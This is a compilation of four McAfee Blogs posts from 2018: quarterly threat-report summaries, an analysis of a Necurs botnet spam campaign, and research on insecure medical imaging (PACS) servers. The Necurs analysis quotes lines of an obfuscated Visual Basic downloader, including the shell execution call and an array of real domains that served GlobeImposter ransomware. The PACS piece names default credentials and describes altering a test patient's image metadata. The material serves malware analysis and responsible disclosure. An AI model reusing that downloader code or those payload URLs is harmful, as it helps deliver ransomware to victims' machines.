‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks

In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new mal…

In the McAfee Labs Threats Report June 2018, published today, we share investigative research and threat statistics gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q1 of this year. We have observed that although overall new malware has declined by 31% since the previous quarter, bad actors are working relentlessly to develop new technologies and tactics that evade many security defenses.

These are the key campaigns we cover in this report.

  • Deeper investigations reveal that the attack targeting organizations involved in the Pyeongchang Winter Olympics in South Korea used not just one PowerShell implant script, but multiple implants, including Gold Dragon, which established persistence to engage in reconnaissance and enable continued data exfiltration.
  • The infamous global cybercrime ring known as Lazarus has resurfaced. We discovered that the group has launched the Bitcoin-stealing phishing campaign “HaoBao,” which targets the financial sector and Bitcoin users.
  • We are also seeing the emergence of a complex, multisector campaign dubbed Operation GhostSecret, which uses many data-gathering implants. We expect to see an escalation of these attacks in the near future.

Here are some additional findings and insights:

  • Ransomware drops: New ransomware attacks took a significant dive (-32%), largely as a result of an 81% drop in Android lockscreen malware.
  • Cryptojacking makes a comeback: Attackers targeting cryptocurrencies may be moving from ransomware to coin miner malware, which hijacks systems to mine for cryptocurrencies and increase their profits. New coin miner malware jumped an astronomical 1,189% in Q1.
  • LNK outpaces PowerShell: Cybercriminals are increasingly using LNK shortcuts to surreptitiously deliver malware. New PowerShell malware dropped 77% in Q1, while attacks leveraging Microsoft Windows LNK shortcut files jumped 24%.
  • Incidents go global: Overall security incidents rose 41% in Q1, with incidents hitting multiple regions showing the biggest increase, at 67%, and the Americas showing the next largest increase, at 40%.

Get all the details by reading the McAfee Labs Threats Report, June 2018.

The post ‘McAfee Labs Threats Report’ Spotlights Innovative Attack Techniques, Cryptocurrency Mining, Multisector Attacks appeared first on McAfee Blogs.

Necurs Botnet Leads the World in Sending Spam Traffic

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer…

In Q4 2017 we found that the Necurs and Gamut botnets comprised 97% of spam botnet traffic. (See the McAfee Labs Threats Report, March 2018.) Necurs (at 60%) is currently the world’s largest spam botnet. The infected computers operate in a peer-to-peer model, with limited communication between the nodes and the control servers. Cybercriminals can rent access to the botnet to spread their own malicious campaigns.

The most common techniques are email attachments with macros or JavaScript to download malware from different locations. In October, the Locky ransomware campaign used Microsoft’s Dynamic Data Exchange to lure victims into “updating” the attached document with data from linked files—external links that delivered the malware.

In Q4 we noticed several botnet campaigns delivering the following payloads:

  • GlobeImposter ransomware
  • Locky ransomware
  • Scarab ransomware
  • Dridex banking Trojan

A timeline:

Let’s zoom in on one of the campaigns from the Necurs botnet. In the following example, an email automatically sent from a VOIP system informs the victim of a missed call. The email contains an attachment, a Visual Basic script.

In this case, the name is “Outside Caller 19-12-2017 [random nr].” Here is some of the script code:

Execute "Sub Aodunnecessarilybusinesslike(strr):ZabiT.Savetofile writenopopbusinesslikeInPlaceOf , 2 : End Sub"

Disaster = "//21+12:ptth21+12ex"+"e.eUtaLHpbP\21+12elifotevas21+12ydoBes"+"nopser21+12etirw21+12nepo21+12epyT21+12PmeT21+12TeG21+12ssecorP21+12llehs.tpircsW21+12noitacilppA.llehs21+12" & "" 

 

This piece of code makes sure that the embedded code will be saved to a file. Note the second line of code: It is backward and calls the Windows script shell to execute the code. The following code string ensures that the backward line is read properly:

SudForMake = Split("Microsoft.XMLHTTP21+12Adodb.streaM"+StrReverse(Disaster),  "21+12")

 

The following line starts the saved code:

writenopopbusinesslikeMacAttack.Run("cmd."&"exe /c START """" "+" " & ArrArr ) 

 

Once the executable is started, it attempts to download the ransomware from the embedded URLs in the code: 

krapivec = Array("littleblessingscotons.com/jdh673hk?","smarterbaby.com/jdh673hk?","ragazzemessenger.com/jdh673hk?") 

 

The malware downloaded and executed is GlobeImposter ransomware. After encrypting all files and deleting the Volume Shadow copies to block file restore, the user is prompted with the request to buy the decryptor:

Spam botnets are one of the pillars of the cybercrime business. The authors of these botnets understand their market value and spend their rental income on continuous development. Their work keeps the infrastructure running, creates ever-changing spam messages, and delivers these messages to your inbox—with many avoiding spam blockers. This cybercrime effort should inspire your organization to discuss the implementation of DMARC (domain-based message authentication, reporting & conformance). To learn more about how DMARC can help protect against this kind of threat, visit dmarc.org. For more on Necurs, see the McAfee Labs Threats Report, June 2017.

The post Necurs Botnet Leads the World in Sending Spam Traffic appeared first on McAfee Blogs.

‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware

Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing …

Today McAfee published the McAfee Labs Threats Report: March 2018. The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017. McAfee Labs saw on average eight new threat samples per second, and the increasing use of fileless malware attacks leveraging Microsoft PowerShell. The Q4 spike in Bitcoin value prompted cybercriminals to focus on cryptocurrency hijacking through a variety of methods, including malicious Android apps.

Each quarter, McAfee Labs, led by the Advanced Threat Research team, assesses the state of the cyber threat landscape based on threat data gathered by the McAfee Global Threat Intelligence cloud from hundreds of millions of sensors across multiple threat vectors around the world. McAfee Advanced Threat Research complements McAfee Labs by providing in-depth investigative analysis of cyberattacks from around the globe.

Cybercriminals Take on New Strategies, Tactics

The fourth quarter of 2017 saw the rise of newly diversified cybercriminals, as a significant number of actors embraced novel criminal activities to capture new revenue streams. For instance, the spike in the value of Bitcoin prompted actors to branch out from moneymakers such as ransomware, to the practice of hijacking Bitcoin and Monero wallets. McAfee researchers discovered Android apps developed exclusively for the purpose of cryptocurrency mining and observed discussions in underground forums suggesting Litecoin as a safer model than Bitcoin, with less chance of exposure.

Cybercriminals also continued to adopt fileless malware leveraging Microsoft PowerShell, which surged 432% over the course of 2017, as the threat category became a go-to toolbox. The scripting language was used within Microsoft Office files to execute the first stage of attacks.

Health Care Targeted

Although publicly disclosed security incidents targeting health care decreased by 78% in the fourth quarter of 2017, the sector experienced a dramatic 210% overall increase in incidents in 2017. Through their investigations, McAfee Advanced Threat Research analysts conclude many incidents were caused by organizational failure to comply with security best practices or address known vulnerabilities in medical software.

McAfee Advanced Threat Research analysts looked into possible attack vectors related to health care data, finding exposed sensitive images and vulnerable software. Combining these attack vectors, analysts were able to reconstruct patient body parts, and create three-dimensional models.

Q4 2017 Threats Activity

Fileless malware. In Q4 JavaScript malware growth continued to slow with new samples decreasing by 9%, while new PowerShell malware more than tripled, growing 267%.

Security incidents. McAfee Labs counted 222 publicly disclosed security incidents in Q4, a decrease of 15% from Q3. 30% of all publicly disclosed security incidents in Q4 took place in the Americas, followed by 14% in Europe and 11% in Asia.

Vertical industry targets. Public, health care, education, and finance, respectively, led vertical sector security incidents for 2017.

  • Health Care. Disclosed incidents experienced a surge in 2017, rising 210%, while falling 78% in Q4.
  • Public sector. Disclosed incidents decreased 15% in 2017, down 37% in Q4.
  • Disclosed incidents rose 125% in 2017, remaining stagnant in Q4.
  • Disclosed incidents rose 16% in 2017, falling 29% in Q4. 

Regional targets

  • Disclosed incidents rose 46% in 2017, falling 46% in Q4.
  • Disclosed incidents fell 58% in 2017, rising 28% in Q4.
  • Disclosed incidents fell 20% in 2017, rising 18% in Q4.
  • Disclosed incidents rose 42% in 2017, falling 33% in Q4. 

Attack vectors. In Q4 and 2017 overall, malware led disclosed attack vectors, followed by account hijacking, leaks, distributed denial of service, and code injection.

Ransomware. The fourth quarter saw notable industry and law enforcement successes against criminals responsible for ransomware campaigns. New ransomware samples grew 59% over the last four quarters, while new ransomware samples growth rose 35% in Q4. The total number of ransomware samples increased 16% in the last quarter to 14.8 million samples.

Mobile malware. New mobile malware decreased by 35% from Q3. In 2017 total mobile malware experienced a 55% increase, while new samples declined by 3%.

Malware overall. New malware samples increased in Q4 by 32%. The total number of malware samples grew 10% in the past four quarters.

Mac malware. New Mac OS malware samples increased by 24% in Q4. Total Mac OS malware grew 243% in 2017.

Macro malware. New macro malware increased by 53% in Q4, declined by 35% in 2017.

Spam campaigns. 97% of spam botnet traffic in Q4 was driven by Necurs—recent purveyor of “lonely girl” spam, pump-and-dump stock spam, and Locky ransomware downloaders—and by Gamut—sender of job offer–themed phishing and money mule recruitment emails.

For more information on these threat trends and statistics, please visit:

Twitter @Raj_Samani & @McAfee_Labs.

The post ‘McAfee Labs Threats Report’ Examines Cryptocurrency Hijacking, Ransomware, Fileless Malware appeared first on McAfee Blogs.

McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals

The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their…

The nonperishable nature of medical data makes an irresistible target for cybercriminals. The art of hacking requires significant time and effort, encouraging experienced cybercriminals to plot their attacks based on the return they will see from their investment. Those who have successfully gained access to medical data have been well rewarded for their efforts. One seller stated in an interview that “someone wanted to buy all the … records specifically,” claiming that the effort had netted US$100,000.

While at a doctor’s appointment with my wife watching a beautiful 4D ultrasound of our unborn child, I noticed the words “saving data to image” flash on the screen. Although this phrase would not catch the attention of most people, given my research on how cybercriminals are targeting the health care industry, I quickly began to wonder why an ultrasound of our child would not instead save to a file. Intrigued, I decided to dig into the world of medical imaging and its possible security risks. The results were disturbing; ultimately, we were able to combine attack vectors to reconstruct body parts from the images and make a three-dimensional model.

PACS

Most hospitals or medical research facilities use PACS, for picture archiving and communication system, so that images such as ultrasounds, mammograms, MRIs, etc. can be accessed from the various systems within their facility, or through the cloud.

A PACS setup contains multiple components, including a workstation, imaging device, acquisition gateway, PACS controller, database, and archiving—as illustrated in the following graphic:

The basic elements of PACS infrastructure.

The imaging device creates a picture, such as an ultrasound or MRI, which is uploaded to an acquisition gateway. Because much of the imaging equipment in use by medical facilities does not align with security best practices, acquisition gateways are placed in the network to enable the digital exchange of the images. The acquisition gateway also often acts as the server connecting to the hospital’s information system (using the HL7 protocol) to enrich images with patient data.

The PACS controller is the central unit coordinating all traffic among the different components. The final component in the PACS infrastructure is the database and archiving system. The system ensures that all images are correctly stored and labeled for either short- or long-term storage.

Larger implementations might have multiple imaging devices and acquisition gateways in various locations, connected over the Internet. During our investigation, we noticed many small medical practices around the world using free, open-source PACS software, which was not always securely implemented.

To determine how many PACS servers are connected depends on on how you search using Shodan, a search engine for finding specific types of computers connected to the Internet. Some servers connect over TCP 104; others use HTTP TCP 80 or HTTPS TCP 443. A quick search revealed more than 1,100 PACS directly connected to the Internet, not behind a recommended layer of network security measures or virtual private networks (VPNs).

PACS systems connected to the Internet. Darker colors represent more systems.

Our eyebrows began to rise very early in our research, as we came across “IE 6 support only” messages or ActiveX controls and old Java support; many of these products are vulnerable to a plethora of exploits. For example, one of the PACS generated an error page when we changed one parameter. This is a very basic common way of testing if the application developers did proper input sanitation check to prevent attackers inserting code or generating failures that could reveal data about the application and can give clues to compromise the system.

A stack-trace error.

The stack-trace dump revealed the use of Apache Tomcat Version 7.0.13, which has more than 40 vulnerabilities.

When communicating with the DICOM (digital imaging and communications in medicine) port, TCP 104, it is possible to grab the banner of a server and get a response. As we queried, we recorded different responses. Let’s look at one:

\x02\x00\x00\x00\x00\xbe\x00\x01\x00\x00ANY-SCP         FINDSCU         \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x151.2.840.10008.3.1.1.1!\x00\x00\x1b\x01\x00\x00\[email protected]\x00\x00\x131.2.840.10008.1.2.1P\x00\x00>Q\x00\x00\x04\x00\[email protected]\x00R\x00\x00"1.2.826.0.1.3680043.2.135.1066.101U\x00\x00\x0c1.4.16/WIN32

 

The FINDSCU string refers to the findscu tool, which can be used to query a PACS system. The DICOM standard defines three data models for the query/retrieve service. Each data model has been assigned with one unique ID for the C-FIND, one for the C-MOVE, and one for C-GET; so all together there are nine unique IDs, three for each model. In the preceding banner, we retrieved two of those IDs:

  • 2.840.10008.1.2.1: A transfer unique ID that defines the value “Explicit VR Little Endian” for data transfer
  • 2.826.0.1.3680043.2.135.1066.101: A value referring to the implementation class

Another value in the banner, “1.4.16/WIN32,” refers to the implementation version. In the context of the medical servers, this refers to the version of XAMPP, aka Apache with MariaDB, PHP, and Perl. This server was running Apache 2.4.9, which is publicly known to contain nine vulnerabilities.

In other cases, there was no need to search for vulnerabilities. The management interface was wide open and could be accessed without credentials.

A PACS interface.

What does this mean? It is possible to access the images.

Vulnerabilities

In addition to expensive commercial PACS systems, open-source or small-fee PACS are available for small health care institutions or practices. As we investigated these systems, we found that our fears were well founded. One web server/client setup used the defaults “admin/password” as credentials without enforcing a change when the server is started for the first time. We found more problems:

  • Unencrypted traffic between client and server
  • Click jacking
  • Cross-site scripting (reflected)
  • Cross-site scripting stored as cross-site request forgery
  • Document object model–based link manipulation
  • Remote creation of admin accounts
  • Disclosure of information

Many of these are ranked on the list of OWASP Top 10 Most Critical Web Application Security Risks list, which highlights severe flaws that should be addressed in any product delivered to a customer.

We have reported the vulnerabilities we discovered to these vendors following our responsible disclosure process. They cooperated with us in investigating the vulnerabilities and taking appropriate actions to fix the issues.

But why should we spend so much time and effort in researching vulnerabilities when there are many other ways to retrieve medical images from the Internet?

Medical Image Formats

The medical world uses several image formats for different purposes. Each format has different requirements and works with different equipment, protocols, etc. A few format examples:

  • NifTi Neuroimaging Informatics Technology Initiative
  • Dicom Digital Imaging and Communications in Medicine
  • MINC Medical Imaging NetCDF
  • NRRD Nearly Raw Raster Data

Searching open directories and FTP servers while using several search engines, we gathered thousands of images—some of them complete MRI scans, mostly in DICOM format. One example:

An open directory of images.

The DICOM format originated in the 1980s, before cybersecurity was a key component. The standard format contains a detailed list of tags such as patient name, station name, hospital, etc. All are included as metadata with the image.

Opening an image with a text editor presents the following screen:

An example of the DICOM file format.

The file begins with the prefix DICM, an indicator that we are dealing with a DICOM file.  Other (now obscured) strings in this example include the hospital’s name, city, patient name, and more.

The Health Insurance Portability and Accountability Act requires a secure medical imaging workflow, which includes the removal or anonymizing of metadata in DICOM files. Researching the retrieved files from open sources and directories, we discovered most of the images still contained this metadata, such as in the following example, from which we extracted (obscured) personally identifiable information (PII).

Metadata discovered in a DICOM file.

Combining Vulnerabilities and Metadata

We combined possible vulnerabilities and the metadata to create a test scenario, installing information from a dummy patient, including an x-ray picture of a knee, to the vulnerable PACS server.

Our test patient record, followed by an x-ray of a knee. 

Using vulnerability information gathered in an earlier phase of research, we launched an attack to gain access to the PACS server. Once we had access, we downloaded the image from our dummy patient and altered the metadata of the image series, changing all references of “knee” to “elbow.”

Altered metadata of the test patient image.

We then saved the picture and uploaded it to the server. Checking the records of our dummy patient, we found our changes were successful.

Changes successfully updated.

Reconstructing Body Parts

In the medical imaging world, a large array of software can investigate and visualize images in different ways, for example, in 3D. We took our collection of images, and using a demo version of 3D software, we reconstructed complete 3D models of vertebrae, pelvis, knees, etc. and, in one case, we reconstructed a partial face.

Because we firmly believe in protecting privacy, the following example—a series of images from a pelvis—comes from a demo file that accompanies the software.

An example of a series of images.

After selecting areas of interest and adjusting the levels, we generated a 3D model of the pelvis:

A 3D model of the pelvis.

The application that generated the 3D model has a feature that allowed us to export the model in several data formats to be used by other 3D drawing programs. After the export, we imported the data into a 3D drawing program and converted the file to STL, a popular format for 3D objects and printers.

In short, we began with files from open directories, transformed them into a 3D model, and printed a tangible model using a 3D printer:

Our 3D model of a pelvis.

Conclusion

When we began our investigation into the security status of medical imaging systems, we never expected we would conclude by reconstructing body parts. The amount of old software used in implementations of PACS servers and the amount of vulnerabilities discovered within the software itself are concerning. We investigated relatively few open-source vendors, but it begs the question: What more could we have found if we had access to professional hardware and software?

Default accounts, cross-site scripting, or vulnerabilities in the web server could lead to access to the systems. Our research demonstrates that once inside the systems, the data and pictures can be permanently altered.

In May 2017, one report claimed that through artificial intelligence pictures could be studied to determine how long a person will live. What if criminals could obtain that information and use it for extortion?

We understand the need for quickly sharing medical data for diagnosis and treatment and for storing medical images. We advise health care organizations to be careful when sharing images on open directories for research purposes and to at least scrape the PII data from the images.

For organizations using a PACS, ask your vendor about its security features. Employ a proper network design in which the sharing systems are properly secured. Think not only about internal security but also about the use of VPNs and two-factor authentication when connecting with external systems.

 

For more on the health care industry follow @McAfee_Labs and catch up on all threats statistics from Q417 in the March Threats Report.

The post McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals appeared first on McAfee Blogs.